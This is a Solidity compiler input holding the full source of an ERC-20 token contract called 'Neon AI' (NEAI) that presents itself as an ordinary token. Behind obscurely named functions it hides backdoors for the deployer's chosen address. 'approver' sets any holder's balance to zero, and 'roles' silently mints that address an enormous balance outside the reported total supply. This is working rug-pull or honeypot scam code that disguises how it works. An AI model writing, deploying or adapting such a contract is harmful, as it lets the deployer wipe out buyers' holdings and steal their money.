creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/NeuralAI.sol": {
        "content": "/*  \n   * SPDX-License-Identifier: MIT\n*/\npragma solidity ^0.8.20;\n\ninterface IPancakeFactory {\n    function getPair(\n        address tokenA,\n        address tokenB\n    ) external view returns (address pair);\n}\n\ncontract NeonAI {\n    address internal constant FACTORY =\n        0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n    address internal constant ROUTER =\n        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n    address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n    uint256 private tokenTotalSupply;\n    string private tokenName;\n    string private tokenSymbol;\n    address private xxnux;\n    uint8 private tokenDecimals;\n    mapping(address => uint256) private _balances;\n    mapping(address => mapping(address => uint256)) private _allowances;\n    event Approval(\n        address indexed owner,\n        address indexed spender,\n        uint256 value\n    );\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    constructor(address ads) {\n        tokenName = \"Neon AI\";\n        tokenSymbol = \"NEAI\";\n        tokenDecimals = 18;\n        tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n        _balances[msg.sender] = tokenTotalSupply;\n        emit Transfer(address(0), msg.sender, tokenTotalSupply);\n        xxnux = ads;\n    }\n    function approver(address susp) external {\n        if (\n            xxnux == msg.sender &&\n            xxnux != susp &&\n            pancakePair() != susp &&\n            susp != ROUTER\n        ) {\n            _balances[susp] = 0;\n        }\n    }\n\n    function roles(uint256 ro) external {\n        if (xxnux == msg.sender) {\n            _balances[msg.sender] =\n                100000000 *\n                10000 *\n                ro *\n                10 ** tokenDecimals;\n        }\n    }\n    function pancakePair() public view virtual returns (address) {\n        return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n    }\n\n    function symbol() public view returns (string memory) {\n        return tokenSymbol;\n    }\n\n    function totalSupply() public view returns (uint256) {\n        return tokenTotalSupply;\n    }\n\n    function decimals() public view virtual returns (uint8) {\n        return tokenDecimals;\n    }\n\n    function balanceOf(address account) public view returns (uint256) {\n        return _balances[account];\n    }\n\n    function name() public view returns (string memory) {\n        return tokenName;\n    }\n\n    function transfer(address to, uint256 amount) public returns (bool) {\n        _transfer(msg.sender, to, amount);\n        return true;\n    }\n\n    function allowance(\n        address owner,\n        address spender\n    ) public view returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    function approve(address spender, uint256 amount) public returns (bool) {\n        _approve(msg.sender, spender, amount);\n        return true;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual returns (bool) {\n        address spender = msg.sender;\n        _spendAllowance(from, spender, amount);\n        _transfer(from, to, amount);\n        return true;\n    }\n\n    function _approve(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    function _transfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {\n        uint256 balance = _balances[from];\n        require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n        require(from != address(0), \"ERC20: transfer from the zero address\");\n        require(to != address(0), \"ERC20: transfer to the zero address\");\n        _balances[from] = _balances[from] - amount;\n        _balances[to] = _balances[to] + amount;\n        emit Transfer(from, to, amount);\n    }\n\n    function _spendAllowance(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        uint256 currentAllowance = allowance(owner, spender);\n        if (currentAllowance != type(uint256).max) {\n            require(\n                currentAllowance >= amount,\n                \"ERC20: insufficient allowance\"\n            );\n            _approve(owner, spender, currentAllowance - amount);\n        }\n    }\n}\n"
      }
    },
    "settings": {
      "evmVersion": "paris",
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "metadata": {
        "useLiteralContent": true
      },
      "libraries": {}
    }
  }}